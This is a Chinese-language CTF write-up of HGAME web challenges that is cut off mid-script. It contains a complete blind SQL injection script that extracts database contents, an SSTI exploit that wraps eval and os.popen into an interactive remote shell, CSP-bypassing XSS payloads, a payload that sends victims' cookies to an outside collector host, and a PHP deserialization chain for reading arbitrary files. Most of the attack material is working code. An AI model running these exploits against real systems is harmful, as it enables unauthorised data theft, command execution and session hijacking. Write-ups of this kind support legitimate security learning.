Web
Liki-Jail
Liki 上周提到这周要盲注,这就来了。
登录页,盲猜后端查询语句是这样的:
代码语言:javascript复制select xxx from xxx where username='xxxx' and password='xxxx';然后就开始基于时间的盲注
慢慢试,摸了好几天,然后学了雨神去年的 wp,写了个脚本跑
这里利用了几个点:
- 绕过空格:/* */
- 引号绕过:使用十六进制
参考资料:SQL注入绕过技巧
代码语言:javascript复制import httpx
import time
import copy
session = httpx.Client(proxies={'all://':None})
def test(left, right, url, data):
#二分法爆破
while left < right:
print(left,right)
mid = (left right) // 2
temp = copy.deepcopy(data)
temp['password'] = temp['password'].format(mid)
print(temp)
r = session.post(url,data=temp)
if r.elapsed.seconds < 1.8:
right = mid
else:
left = mid 1
return left
def str2hex(inputs:str):
result="0x"
data= inputs.encode('utf-8')
for bit in data:
bit_hex=hex(bit).replace("0x","")
if len(bit_hex)==1:
bit_hex="0" bit_hex
result =bit_hex
return result
def sql2payload(inputs):
inputs = inputs.replace(' ','/**/')
data = {'username':'\',
'password':'/**/or/**/if(({}),sleep(2),sleep(0))#'.format(inputs)}
return data
#爆数据库名长度
sql = 'length(database())>{}'
DBNameLength = test(0,64,'https://jailbreak.liki.link/login.php',sql2payload(sql))
# DBNameLength = 9
print('数据库名长度' str(DBNameLength))
#获取数据库名
sql = 'ascii(substr(database(),{},1))>{}'
DBName = ''
for pos in range(1,DBNameLength 1):
_sql = sql.format(pos,'{}')
DBName = chr(test(0,256,'https://jailbreak.liki.link/login.php',sql2payload(_sql)))
# DBName = 'week3sqli'
print(DBName)
#获取数据库表数量(默认只有一位)
sql = 'ascii(substr((select count(table_name) from information_schema.tables where table_schema like {}),1,1)) > {}'.format(str2hex(DBName),'{}')
tableLen = int(chr(test(0,255,'https://jailbreak.liki.link/login.php',sql2payload(sql))))
# tableLen = 1
print('数据库中数据表数量为' str(tableLen))
# 获取数据库表名
sql = 'ascii(substr((select table_name from information_schema.tables where table_schema like {} limit {},1),{},1)) > {}'.format(str2hex(DBName),'{}','{}','{}')
tableNames = []
for tablePos in range(tableLen):
# 逐个表名爆
_sql = sql.format(tablePos,'{}','{}')
tableName = ''
pos = 1
while 1:
#逐字
__sql = _sql.format(pos,'{}')
word = test(0,255,'https://jailbreak.liki.link/login.php',sql2payload(__sql))
if word == 0:
tableNames.append(tableName)
break
tableName = chr(word)
pos = 1
# tableNames = ['u5ers']
print(tableNames)
# 获取表字段数(默认只有一位)
sql = 'ascii(substr((select count(column_name) from information_schema.columns where table_name like {}),1,1)) > {}'
tablesColumnNum = {} # 各表的字段数
for tableName in tableNames:
_sql = sql.format(str2hex(tableName),'{}')
tableColumnNum = int(chr(test(0,255,'https://jailbreak.liki.link/login.php',sql2payload(_sql))))
tablesColumnNum[tableName] = tableColumnNum
# tablesColumnNum = {'u5ers': 2}
print(tablesColumnNum)
# 获取表字段名
sql = 'ascii(substr((select column_name from information_schema.columns where table_name like {} limit {},1),{},1)) > {}'
tablesColumns = {}
for tableName in tableNames:
_sql = sql.format(str2hex(tableName),'{}','{}','{}')
columnNames = []
for columnPos in range(tablesColumnNum[tableName]):
# 逐个字段名爆
__sql = _sql.format(columnPos,'{}','{}')
columnName = ''
pos = 1
while 1:
#逐字
___sql = __sql.format(pos,'{}')
word = test(0,255,'https://jailbreak.liki.link/login.php',sql2payload(___sql))
if word == 0:
columnNames.append(columnName)
break
columnName = chr(word)
pos = 1
tablesColumns[tableName] = columnNames
# tablesColumns = {'u5ers': ['usern@me', 'p@ssword']}
print(tablesColumns)
# 获取字段内容量
sql = 'ascii(substr((select count(`{}`) from {}.{}),1,1))>{}'
tablesColumnsNum = {}
for tableName in tableNames:
tablesColumnsNum[tableName] = {}
for column in tablesColumns[tableName]:
_sql = sql.format(column, DBName, tableName, '{}')
tablesColumnsNum[tableName][column] = int(chr(test(0,255,'https://jailbreak.liki.link/login.php',sql2payload(_sql))))
# tablesColumnsNum = {'u5ers': {'usern@me': 1, 'p@ssword': 1}}
print(tablesColumnsNum)
# 获取字段内容
sql = 'ascii(substr((select `{}` from {}.{} limit {},1),{},1))>{}'
columnContents = {}
for tableName in tableNames:
columnContents[tableName] = {}
for column in tablesColumnsNum[tableName]:
columnContents[tableName][column] = []
for offset in range(tablesColumnsNum[tableName][column]):
columnContent = ''
pos = 1
while 1:
#逐字
_sql = sql.format(column, DBName, tableName, offset, pos, '{}')
word = test(0,255,'https://jailbreak.liki.link/login.php',sql2payload(_sql))
if word == 0:
columnContents[tableName][column].append(columnContent)
break
columnContent = chr(word)
pos = 1
print(columnContents)
hgame{7imeB4se_injeCti0n hiDe~th3^5ecRets}
Forgetful
这题和 Flask 的 SSTI 漏洞有关
- dict:保存类实例或对象实例的属性变量键值对字典
- class:返回调用的参数类型
- mro:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
- bases:返回类型列表
- subclasses:返回object的子类
- init:类的初始化方法
- globals:函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价
注册账号后进行测试

''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]查看详情,获取到基类


这里是 Firefox 自动把未闭合标签闭合了,右键查看网页源代码可以看到正常输出

然后获取该基类的子类:
代码语言:javascript复制{{().__class__.__bases__[0].__subclasses__()}}
找重载过的 __init__ 类,(在获取初始化属性后,带 wrapper 的说明没有重载,寻找不带 warpper 的)
返回为这样的是没有重载的:
代码语言:javascript复制<slot wrapper '__init__' of 'object' objects>这样是有重载的:
代码语言:javascript复制<unbound method WarningMessage.__init__>写了程序来试:
代码语言:javascript复制import httpx
from bs4 import BeautifulSoup
session = httpx.Client(proxies={'all://':None})
r = session.get('https://todolist.liki.link/login')
# print(r.content)
csrf_token = BeautifulSoup(r,'lxml').find('input',id='csrf_token')['value']
print(csrf_token)
loginData = {'csrf_token':csrf_token,'username':'test520','password':'test520','submit':'登录'}
r = session.post('https://todolist.liki.link/login',data=loginData)
csrf_token = BeautifulSoup(r,'lxml').find('input',id='csrf_token')['value']
for i in range(100):
payload = '{}.__class__.__bases__[0].__subclasses__()[' str(i) '].__init__'
addData = {'csrf_token':csrf_token,'title':'{{' payload '}}','status':'1','submit':'提交'}
print(addData)
r = session.post('https://todolist.liki.link/',data=addData)
soup = BeautifulSoup(r,'lxml')
csrf_token = soup.find('input',id='csrf_token')['value']
detailLink = soup.findAll('a',class_='btn-warning')[-1]['href']
print(detailLink,end='nn')
r = session.get('https://todolist.liki.link' detailLink)
output = r.content.decode()[r.content.decode().index('当前Todo: ') 8:r.content.decode().index('</h4><br>n <h4 class="modal-title" id="myModalLabel" align="center">是否完成')]
print(output,end='nn')
output.index('wrapper') # 利用index找不到会报错来终止程序爆破发现第64个子类重载了 __init__

获取子类可用的函数:
代码语言:javascript复制{{{}.__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']}}发现 eval 可调用

利用 eval 就能执行命令,索性直接包装成程序:
代码语言:javascript复制import httpx
from bs4 import BeautifulSoup
session = httpx.Client(proxies={'all://':None})
r = session.get('https://todolist.liki.link/login')
csrf_token = BeautifulSoup(r,'lxml').find('input',id='csrf_token')['value']
print(csrf_token)
loginData = {'csrf_token':csrf_token,'username':'test520','password':'test520','submit':'登录'}
r = session.post('https://todolist.liki.link/login',data=loginData)
csrf_token = BeautifulSoup(r,'lxml').find('input',id='csrf_token')['value']
while 1:
command = input('请输入命令:')
payload = "{}.__class__.__bases__[0].__subclasses__()[64].__init__.__globals__.__builtins__['eval']('__import__("os").popen("" command "").read()')"
addData = {'csrf_token':csrf_token,'title':'{{' payload '}}','status':'1','submit':'提交'}
# print(addData)
r = session.post('https://todolist.liki.link/',data=addData)
soup = BeautifulSoup(r,'lxml')
csrf_token = soup.find('input',id='csrf_token')['value']
detailLink = soup.findAll('a',class_='btn-warning')[-1]['href']
# print(detailLink,end='nn')
r = session.get('https://todolist.liki.link' detailLink)
try:
output = r.content.decode()[r.content.decode().index('当前Todo: ') 8:r.content.decode().index('</h4><br>n <h4 class="modal-title" id="myModalLabel" align="center">是否完成')]
print(output, end='nn')
except:
print('解析出错', end='nn')输入命令 找到flag文件

尝试了cat,tac,more ,less一堆,都不行。盲猜后台根据输出内容直接限制了。
最后使用:
代码语言:javascript复制od -c ../flag
hgame{h0w_4bou7 L3arn!ng~PythOn^Now?}
还可以读取后转为base64输出(因为其他题目做不下去于是把源码扒出来看了一遍)

也可以这样 md5 一下


Post to zuckonit2.0
审查一下网页源码

之前过于在意 js 的操作,直接就奔着调试器去了,没有认真看网页源码,卡了好几天。
源码下载下来以后,查看过滤部分


再看如何调用的

了解完试如何正则之后,Post:
代码语言:javascript复制<iframe s src="/replace">
成功插入
然后利用 replacement 和已经插入页面的 “replace”,向 iframe 插入xss代码
先尝试 alert(1) :
因为替换操作在html中执行,所以要注意不要破环执行替换的 script

先使用 iframe 的 srcdoc 元素将 html 插入 iframe 中
设计payload为:
代码语言:javascript复制"srcdoc="<script>alert(1)</script>为保证不破坏执行替换的 script 同时保证插入成功,将:
代码语言:javascript复制"srcdoc="转为
代码语言:javascript复制"srcdoc="将:
代码语言:javascript复制<script>alert(1)</script>使用unicode编码(也可使用其他编码形式,只要保证[<>]不被过滤即可):
代码语言:javascript复制<script>alert(1)</script>最终 payload:
代码语言:javascript复制"srcdoc="<script>alert(1)</script>

成功插入
同理开始尝试插入xss代码:

插入成功

后台成功收到
提交给机器人
然后。。。没有响应?
然后就是和学长的一番攀谈交心,想起机器人是访问主界面,所以我应该在主界面中再嵌入一个 iframe ,指向preview界面
再 Post 一个:
代码语言:javascript复制<iframe s src="/preview">
成功收到

设置 cookie 拿到 flag
hgame{simple_csp_bypass&a_small_mistake_on_the_replace_function}
Post to zuckonit another version
和前一题一样,也是先审查源码
这题过滤多了一点

同样也是 preview 的网页做替换工作

不管别的,iframe 先提交再说
代码语言:javascript复制<iframe s src="/preview">然后利用那个替换是使用js做替换而且对替换的内容不做处理
先匹配:
代码语言:javascript复制(.)iframe src=..preview..(.)这样就定位到我们提交的iframe的位置了,后面使用或 ‘|’ ,同时还能夹带私货
利用了 RegExp 和他的属性 ‘g’ ,然后再利用正则,把iframe的<>号抓出来给img标签用,

:
代码语言:javascript复制(.)iframe src=..preview..(.)|($1img src=x onerror=javascript:this.src='http://xss.www.cn/index.php?do=keepsession&id=LaXxXm&url=' escape(document.location) '&cookie=' escape(document.cookie);$2)这样预期效果就是:
代码语言:javascript复制<b class="search_result">(.)iframe src=..preview..(.)|(<img src=x onerror=javascript:this.src='http://xss.www.cn/index.php?do=keepsession&id=LaXxXm&url=' escape(document.location) '&cookie=' escape(document.cookie);>)</b>提交查询:
代码语言:javascript复制(.)iframe src=..preview..(.)|($1img src=x onerror=javascript:this.src='http://xss.www.cn/index.php?do=keepsession&id=LaXxXm&url=' escape(document.location) '&cookie=' escape(document.cookie);$2)本地测试成功

提交给机器人
查看服务器记录(我的xss平台出了点问题导致收不到消息,索性直接翻记录)

拿到token
搞定
hgame{CSP_iS_VerY_5trlct&0nly_C@n_uSe_3vil.Js!}
Arknights
r4u十连了!r4u没出夕和年!r4u自闭了!r4u写了个抽卡模拟器想要证明自己不是非酋,这一切都是鹰角的错。r4u用git部署到了自己的服务器上,然而这一切都被大黑客liki看在了眼里。
这题从题目就可以知道从 git 入手。
用 githacker 获取文件


进行代码审计
发现有反序列化
同时得到如何正确传递反序列化的信息 base64结合md5

查看反序列化触发的位置

尝试构造 payload
复制黏贴再改一改,弄个exp


然后写一个脚本处理 payload

反序列化成功,看到Liki坏坏


然后就是漫长的摸索,利用 CardsPool 中的 __construct 和 __toString ,再配合Eeeeeeevalllllllll 中的 echo 读取文件,是个任意文件读取漏洞。
代码语言:javascript复制<?php
class CardsPool
{
public $cards;
private $file;
public function __construct($filePath)
{
$this->file = $filePath;
}
public function __toString(){
return file_get_contents($this->file);
}
}
class Eeeeeeevallllllll{
public $msg="坏坏liki到此一游";
public function __destruct()
{
echo $this->msg;
}
}
$test = new Eeeeeeevallllllll();
$test->msg = new CardsPool("./pool.php");
print_r(serialize($test));要注意类型,private和protected的变量名前都是有0×00的,print_r的输出由于是NULL就空过去了。这个小细节没有注意到,倒腾了半个晚上。(实际上我知道这个细节,但是我以为只是空字符没有显示出来,但是复制的时候应该会一起复制走,所以一直没有在意这个点,要深刻反思。)
拿到读取文件的 payload ,丢到脚本里
代码语言:javascript复制O:17:"Eeeeeeevallllllll":1:{s:3:"msg";O:9:"CardsPool":2:{s:5:"cards";N;s:15:"CardsPoolfile";s:10:"./pool.php";}}
一定要记住在private和protected的变量名前都是有0×00的
代码语言:javascript复制import base64
import hashlib
data = 'O:17:"Eeeeeeevallllllll":1:{s:3:"msg";O:9:"CardsPool":2:{s:5:"cards";N;s:15:"